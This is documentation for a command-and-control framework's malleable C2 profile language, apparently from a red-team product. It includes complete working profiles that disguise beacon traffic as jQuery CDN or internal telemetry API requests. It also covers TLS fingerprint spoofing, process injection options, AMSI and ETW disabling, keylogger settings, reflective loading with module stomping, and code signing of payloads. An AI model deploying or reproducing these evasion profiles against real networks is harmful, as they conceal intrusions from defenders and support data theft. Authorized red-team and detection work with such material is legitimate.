Malleable C2 Profiles¶
Malleable C2 profiles customize how beacon HTTP traffic appears on the network. By defining URIs, headers, parameters, body encoding, and response shaping, profiles make C2 traffic blend with legitimate web activity to evade network-based detection.
Profiles are applied to listeners via the profile_name and profile_variant fields.
Profile Syntax¶
Profiles use a custom configuration language with three statement types:
| Statement | Syntax | Purpose |
|---|---|---|
| Set | set key "value"; | Set a global or block-level option |
| Block | block-name { ... } | Define a named block |
| Variant | block-name "variant" { ... } | Define a named variant of a block |
Comments use # for line comments. String escaping supports \", \\, \n, \t, \r, \x## (hex), and \u#### (unicode).
Minimal Valid Profile¶
set sleeptime "5000";
set jitter "20";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
http-get {
set uri "/api/v1/updates";
client {
header "Accept" "application/json";
metadata {
base64;
header "Cookie";
}
}
server {
header "Content-Type" "application/json";
output {
base64;
print;
}
}
}
http-post {
set uri "/api/v1/submit";
client {
header "Content-Type" "application/json";
id {
base64url;
header "X-Request-ID";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/json";
output {
base64;
print;
}
}
}
Global Options¶
These options are set at the top level of the profile using set key "value"; statements.
Timing and Behavior¶
| Option | Type | Default | Description |
|---|---|---|---|
sleeptime | int | 60000 | Beacon callback interval in milliseconds |
jitter | int | 0 | Callback jitter percentage (0--100). A jitter of 20 means the actual sleep varies by ±20% of sleeptime. |
useragent | string | Go default | HTTP User-Agent header sent by the beacon |
sample_name | string | -- | Profile display name |
data_jitter | int | 0 | Number of random bytes appended to server responses (0--N). Varies response sizes to evade length-based signatures. |
host_stage | bool | true | Whether to host the payload for HTTP staging. Set to false to disable staged payloads. |
Task Buffer Limits¶
| Option | Type | Default | Description |
|---|---|---|---|
tasks_max_size | int | 1048576 | Maximum task buffer size in bytes (1 MB) |
tasks_proxy_max_size | int | 921600 | Maximum proxy task buffer for HTTP/SMB/TCP (900 KB) |
tasks_dns_proxy_max_size | int | 71680 | Maximum DNS proxy task buffer (70 KB) |
Header Control¶
| Option | Type | Default | Description |
|---|---|---|---|
headers_remove | string | -- | Comma-separated HTTP headers to strip from client requests (e.g., "X-Forwarded-For, Via") |
TLS Fingerprinting¶
| Option | Type | Default | Description |
|---|---|---|---|
tls_fingerprint | string | -- | uTLS ClientHelloID preset for TLS fingerprint spoofing. See TLS Fingerprint Spoofing. |
Work Hours (Adaptive Sleep)¶
| Option | Type | Default | Description |
|---|---|---|---|
work_hours_start | int | 0 | Hour (0--23) when business hours begin |
work_hours_end | int | 0 | Hour (0--23) when business hours end |
off_hours_sleep_mult | float | 0 | Sleep multiplier during off-hours. 0 disables adaptive sleep. A value of 3.0 triples the sleep interval outside business hours. |
work_hours_tz | string | -- | IANA timezone for business hours (e.g., "America/New_York") |
HTTP Transaction Blocks¶
The http-get and http-post blocks define how the beacon communicates with the relay for check-in callbacks and task output submission.
Block Structure¶
http-get {
set uri "/path1 /path2"; # Space-separated URIs (random selection)
set verb "GET"; # Optional, defaults to GET for http-get
client { ... }
server { ... }
}
http-post {
set uri "/api/v1/submit";
set verb "POST"; # Optional, defaults to POST for http-post
client { ... }
server { ... }
}
Client Block¶
The client block defines how the beacon shapes its outbound HTTP requests.
| Element | Syntax | Used In | Description |
|---|---|---|---|
| Header | header "Name" "Value"; | http-get, http-post | Add an HTTP request header |
| Parameter | parameter "Name" "Value"; | http-get, http-post | Add a URL query parameter |
| Metadata | metadata { ... } | http-get only | Transform chain for beacon metadata |
| ID | id { ... } | http-post only | Transform chain for beacon ID |
| Output | output { ... } | http-post only | Transform chain for task output data |
http-get client example:
client {
header "Accept" "application/json";
header "Accept-Language" "en-US";
metadata {
base64url;
prepend "session=";
header "Cookie";
}
}
http-post client example:
client {
header "Content-Type" "application/json";
id {
base64url;
header "X-Request-ID";
}
output {
mask;
base64;
print;
}
}
Server Block¶
The server block defines how the relay shapes its HTTP responses.
| Element | Syntax | Description |
|---|---|---|
| Header | header "Name" "Value"; | Add an HTTP response header |
| Output | output { ... } | Transform chain for response data (tasks sent to beacon) |
Example:
server {
header "Content-Type" "application/json";
header "Cache-Control" "no-cache";
output {
mask;
base64;
print;
}
}
Variants¶
Variants create named versions of http-get or http-post blocks. Select a variant by setting profile_variant on the listener.
http-get "jquery" {
set uri "/jquery-3.6.0.min.js";
client {
header "Accept" "text/javascript";
metadata {
base64;
prepend "return-value=";
header "Cookie";
}
}
server {
header "Content-Type" "text/javascript";
output {
base64;
prepend "/*! jQuery v3.6.0 | (c) OpenJS Foundation */\n";
print;
}
}
}
Transform Types¶
Transforms are the core data manipulation primitives. They are applied in order (encoding direction) or reversed (decoding direction).
Data Transforms¶
| Transform | Arguments | Description |
|---|---|---|
base64 | none | Standard Base64 encoding |
base64url | none | URL-safe Base64 encoding (no padding) |
netbios | none | NetBIOS lowercase encoding (each byte becomes two chars) |
netbiosu | none | NetBIOS uppercase encoding |
mask | none | XOR mask with random 4-byte key (key prepended to output) |
prepend | "string" | Prepend a fixed string to the data |
append | "string" | Append a fixed string to the data |
strrep | "old" "new" | Replace string in PE binary (stage transforms only) |
strrepex | "DLL" "old" "new" | Replace string in a specific DLL section (stage transforms only) |
Termination Statements¶
Every transform chain must end with a termination statement that specifies where the transformed data is placed.
| Terminator | Arguments | Description |
|---|---|---|
header "Name"; | Header name | Store in the specified HTTP header |
parameter "Name"; | Parameter name | Store in a URL query parameter |
print; | none | Store in the HTTP body |
uri-append; | none | Append to the URI path |
Annotated Transform Chain¶
metadata {
base64; # 1. Base64-encode the raw metadata bytes
prepend "session="; # 2. Prepend "session=" to create a cookie value
header "Cookie"; # 3. Place the result in the Cookie header
}
Encoding direction (beacon sending): raw bytes → base64 → prepend "session=" → stored in Cookie header.
Decoding direction (relay receiving): extract from Cookie header → remove "session=" prefix → base64 decode → raw bytes.
Another Example¶
output {
mask; # 1. XOR with random 4-byte key (key prepended)
base64; # 2. Base64-encode the masked data
append "<!-- page content -->"; # 3. Append HTML comment
print; # 4. Place in HTTP body
}
Other Profile Blocks¶
http-stager¶
Customizes the HTTP staging transaction (payload download). Uses the same client { } and server { } structure as http-get.
http-stager {
set uri_x86 "/api/v1/updates/x86";
set uri_x64 "/api/v1/updates/x64";
client {
header "Accept" "application/octet-stream";
}
server {
header "Content-Type" "application/octet-stream";
output {
print;
}
}
}
http-config¶
Global HTTP configuration applied to all transactions.
http-config {
set trust_x_forwarded_for "true";
set block_useragents "curl wget python";
set allow_useragents "*";
set headers "Date, Server, Content-Length";
header "Server" "Microsoft-IIS/10.0";
header "X-Powered-By" "ASP.NET";
}
| Option | Description |
|---|---|
trust_x_forwarded_for | Use X-Forwarded-For for client IP resolution |
block_useragents | Space-separated User-Agents to reject |
allow_useragents | Space-separated User-Agents to allow |
headers | Comma-separated header order for responses |
https-certificate¶
TLS certificate configuration for HTTPS listeners.
https-certificate {
set C "US";
set CN "www.example.com";
set O "Example Corp";
set OU "IT Department";
set L "New York";
set ST "New York";
set validity "365";
set keystore "keystore.p12";
set password "changeit";
}
code-signer¶
Code signing configuration for payload binaries.
code-signer {
set keystore "codesign.p12";
set password "changeit";
set alias "codesign";
set digest_algorithm "SHA256";
set timestamp "true";
set timestamp_url "http://timestamp.digicert.com";
}
process-inject¶
Controls how the beacon injects code into remote processes.
process-inject {
set allocator "NtMapViewOfSection";
set min_alloc "16384";
set startrwx "false";
set userwx "false";
transform-x86 {
prepend "\x90\x90\x90";
}
transform-x64 {
prepend "\x90\x90\x90";
}
execute {
CreateThread;
CreateRemoteThread;
SetThreadContext;
RtlCreateUserThread;
NtQueueApcThread-s;
}
}
| Option | Description |
|---|---|
allocator | Memory allocator: VirtualAllocEx or NtMapViewOfSection |
bof_allocator | BOF allocator: VirtualAlloc, MapViewOfFile, HeapAlloc |
min_alloc | Minimum allocation size in bytes |
startrwx | Start with RWX permissions (true/false) |
userwx | Use RWX permissions for final memory (true/false) |
use_driploading | Enable drip-loading during injection |
post-ex¶
Post-exploitation behavior settings.
post-ex {
set spawnto_x86 "%windir%\\syswow64\\rundll32.exe";
set spawnto_x64 "%windir%\\sysnative\\rundll32.exe";
set obfuscate "true";
set smartinject "true";
set amsi_disable "true";
set etw_disable "true";
set pipename "msagent_##";
set keylogger "SetWindowsHookEx";
set cleanup "true";
}
| Option | Description |
|---|---|
spawnto_x86 / spawnto_x64 | Sacrifice process for fork-and-run operations |
obfuscate | Obfuscate strings in memory |
smartinject | Smart injection (avoid self-injection) |
amsi_disable | Disable AMSI before post-ex operations |
etw_disable | Disable ETW before post-ex operations |
pipename | Named pipe name for post-ex communication |
keylogger | Keylogger method: SetWindowsHookEx or GetAsyncKeyState |
cleanup | Clean up post-ex DLLs after execution |
stage¶
Payload stage configuration controlling how the beacon DLL is prepared and loaded.
stage {
set sleep_mask "true";
set syscall_method "Indirect";
set obfuscate "true";
set cleanup "true";
set userwx "false";
set rdll_loader "PrependLoader";
set stomppe "ntdll.dll";
set module_x64 "xpsservices.dll";
transform-x86 {
strrep "ReflectiveLoader" "";
strrep "beacon.dll" "";
}
transform-x64 {
strrep "ReflectiveLoader" "";
strrep "beacon.dll" "";
}
transform-obfuscate {
rc4 "64";
base64;
}
}
| Option | Description |
|---|---|
sleep_mask | Encrypt beacon in memory during sleep |
syscall_method | Syscall method: None, Direct, Indirect |
obfuscate | Obfuscate the beacon stage |
cleanup | Clean up staging artifacts |
rdll_loader | Reflective loader: PrependLoader or StompLoader |
module_x86 / module_x64 | DLL for module stomping |
stomppe | PE to stomp for in-memory loading |
data_store_size | Number of data store entries (default 16) |
beacon_gate¶
Configures which Windows APIs route through BeaconGate indirect syscalls. Nested inside the stage block.
stage {
beacon_gate {
set mode "Core";
# Or add individual APIs:
# VirtualAlloc;
# CreateRemoteThread;
}
}
| Mode | APIs Included |
|---|---|
None | No APIs |
Core | VirtualAlloc, VirtualAllocEx, VirtualProtect, VirtualProtectEx, VirtualFree, VirtualQuery, CreateThread, CreateRemoteThread, OpenProcess, OpenThread, ReadProcessMemory, WriteProcessMemory, CloseHandle, DuplicateHandle, MapViewOfFile, UnMapViewOfFile, CreateFileMappingA, GetThreadContext, SetThreadContext, ResumeThread |
Comms | InternetOpenA, InternetConnectA |
Cleanup | ExitThread |
All | Core + Comms + Cleanup |
Individual API names can be listed as bare statements to extend the mode selection.
dns-beacon¶
DNS channel configuration. See the DNS Listeners page for full details.
dns-beacon {
set dns_idle "0.0.0.0";
set dns_max_txt "252";
set dns_sleep "0";
set dns_ttl "1";
set beacon "d.example.com";
set get_A "d1.example.com";
set get_AAAA "d2.example.com";
set get_TXT "d3.example.com";
set put_output "d4.example.com";
}
smb-beacon¶
SMB named pipe P2P settings. See the SMB Listeners page for operational details.
tcp-beacon¶
TCP bind P2P settings.
http-beacon¶
HTTP library selection and data requirements.
http-beacon {
set library "wininet";
set data_required "true";
set data_required_length "100-200";
}
| Option | Description |
|---|---|
library | HTTP library: wininet (default) or winhttp |
data_required | Send data in all callbacks (padding if no real data) |
data_required_length | Fixed or range for required data length (e.g., "100", "50-200") |
Annotated Profile Examples¶
Example 1: jQuery CDN Profile¶
This profile mimics jQuery CDN traffic patterns with appropriate Content-Types, caching headers, and cookie-based metadata delivery.
# jQuery CDN Traffic Profile
# Mimics requests to a jQuery CDN for C2 communication
set sleeptime "30000";
set jitter "25";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";
set data_jitter "50";
http-get "jquery" {
set uri "/jquery-3.6.0.min.js /jquery-3.6.0.slim.min.js /jquery-3.7.1.min.js";
client {
header "Accept" "text/javascript, application/javascript, */*";
header "Accept-Language" "en-US,en;q=0.9";
header "Referer" "https://code.jquery.com/";
metadata {
base64url;
prepend "__cf_bm=";
header "Cookie";
}
}
server {
header "Content-Type" "application/javascript; charset=utf-8";
header "Cache-Control" "public, max-age=31536000";
header "X-Content-Type-Options" "nosniff";
header "Access-Control-Allow-Origin" "*";
output {
mask;
base64;
prepend "/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */\n!function(e,t){\"use strict\";";
append "\n}(window);";
print;
}
}
}
http-post "jquery" {
set uri "/jquery-3.6.0.min.map /jquery-3.7.1.min.map";
client {
header "Content-Type" "application/json";
header "Accept" "application/json";
id {
base64url;
parameter "v";
}
output {
mask;
base64;
print;
}
}
server {
header "Content-Type" "application/json";
header "Cache-Control" "no-store";
output {
mask;
base64;
prepend "{\"version\":\"3.6.0\",\"sources\":[],\"mappings\":\"";
append "\"}";
print;
}
}
}
Example 2: Corporate Intranet API Profile¶
This profile mimics internal REST API traffic with JSON payloads, custom headers, and business-hours awareness.
# Corporate Intranet API Profile
# Mimics traffic to an internal telemetry/status API
set sleeptime "15000";
set jitter "30";
set useragent "TelemetryAgent/2.1 (Windows NT 10.0; Enterprise)";
# Work hours: 8 AM - 6 PM Eastern, triple sleep outside hours
set work_hours_start "8";
set work_hours_end "18";
set off_hours_sleep_mult "3.0";
set work_hours_tz "America/New_York";
# TLS fingerprint matching the User-Agent
set tls_fingerprint "chrome_auto";
http-get {
set uri "/api/v1/status /api/v1/health /api/v1/config";
client {
header "Accept" "application/json";
header "X-API-Version" "2.1";
header "X-Client-Platform" "win10-enterprise";
metadata {
base64url;
header "X-Session-Token";
}
}
server {
header "Content-Type" "application/json; charset=utf-8";
header "X-Request-Id" "a]b1c2d3-e4f5-6789-abcd-ef0123456789";
header "Cache-Control" "no-cache, no-store";
output {
mask;
base64;
prepend "{\"status\":\"ok\",\"timestamp\":\"2026-01-15T10:30:00Z\",\"data\":\"";
append "\",\"version\":\"2.1.0\"}";
print;
}
}
}
http-post {
set uri "/api/v1/telemetry /api/v1/events";
client {
header "Content-Type" "application/json";
header "X-API-Version" "2.1";
id {
base64url;
header "X-Correlation-ID";
}
output {
mask;
base64;
prepend "{\"events\":[{\"type\":\"metric\",\"payload\":\"";
append "\"}]}";
print;
}
}
server {
header "Content-Type" "application/json";
output {
mask;
base64;
prepend "{\"accepted\":true,\"id\":\"";
append "\"}";
print;
}
}
}
# Harden staging
http-stager {
set uri_x86 "/api/v1/updates/agent-x86";
set uri_x64 "/api/v1/updates/agent-x64";
client {
header "Accept" "application/octet-stream";
header "X-Update-Channel" "stable";
}
server {
header "Content-Type" "application/octet-stream";
output {
print;
}
}
}
# Post-exploitation OPSEC
post-ex {
set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe";
set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe";
set obfuscate "true";
set smartinject "true";
set amsi_disable "true";
set pipename "telemetry_##";
}
Applying Profiles to Listeners¶
Setting a Profile¶
When creating or updating a listener, set the profile_name field to load a profile and optionally profile_variant to select a specific variant.
# Create listener with profile
curl -s -X POST https://stentor.app/api/v1/listeners \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "HTTPS with jQuery Profile",
"type": "https",
"relay_id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
"port": 443,
"profile_name": "jquery-cdn",
"profile_variant": "jquery"
}'
Updating an Existing Listener's Profile¶
curl -s -X PUT "https://stentor.app/api/v1/listeners/$LISTENER_ID" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"profile_name": "corporate-api",
"profile_variant": null
}'
Setting profile_variant to null uses the default (non-variant) blocks.
Profile Validation
Profiles are parsed at load time. Invalid syntax produces parse errors that are returned in the API response. Test your profiles before deploying to production listeners.
TLS Fingerprint Spoofing¶
The tls_fingerprint global option configures the beacon to use uTLS to spoof the TLS ClientHello fingerprint, making the TLS handshake appear to come from a specific browser.
Available Presets¶
| Preset | Browser |
|---|---|
chrome_auto | Latest Chrome (auto-updating) |
chrome_120 | Chrome 120 |
chrome_131 | Chrome 131 |
chrome_133 | Chrome 133 |
firefox_auto | Latest Firefox (auto-updating) |
Usage:
set tls_fingerprint "chrome_auto";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36";
Consistency
Always match the tls_fingerprint to the useragent. A Chrome User-Agent with a Firefox TLS fingerprint is a detection indicator. Use chrome_auto with a Chrome User-Agent or firefox_auto with a Firefox User-Agent.
Profile Block Reference¶
Quick reference for all supported profile blocks:
| Block | Purpose | Key Options |
|---|---|---|
http-get | Beacon check-in callback | uri, verb, client {}, server {} |
http-post | Task output submission | uri, verb, client {}, server {} |
http-stager | Staged payload download | uri_x86, uri_x64, client {}, server {} |
http-config | Global HTTP settings | trust_x_forwarded_for, block_useragents, headers |
https-certificate | TLS certificate fields | C, CN, O, OU, validity, keystore |
code-signer | Code signing config | keystore, password, alias, digest_algorithm |
process-inject | Injection behavior | allocator, min_alloc, startrwx, execute {} |
post-ex | Post-exploitation settings | spawnto_*, obfuscate, amsi_disable, pipename |
stage | Payload stage config | sleep_mask, syscall_method, rdll_loader, transform-* |
beacon_gate | API syscall routing | mode (None/Core/Comms/Cleanup/All), individual APIs |
dns-beacon | DNS channel config | dns_idle, dns_max_txt, beacon, get_A, get_TXT |
smb-beacon | SMB pipe P2P config | pipename, pipename_stager, smb_frame_header |
tcp-beacon | TCP bind P2P config | tcp_port, tcp_frame_header |
http-beacon | HTTP library selection | library, data_required, data_required_length |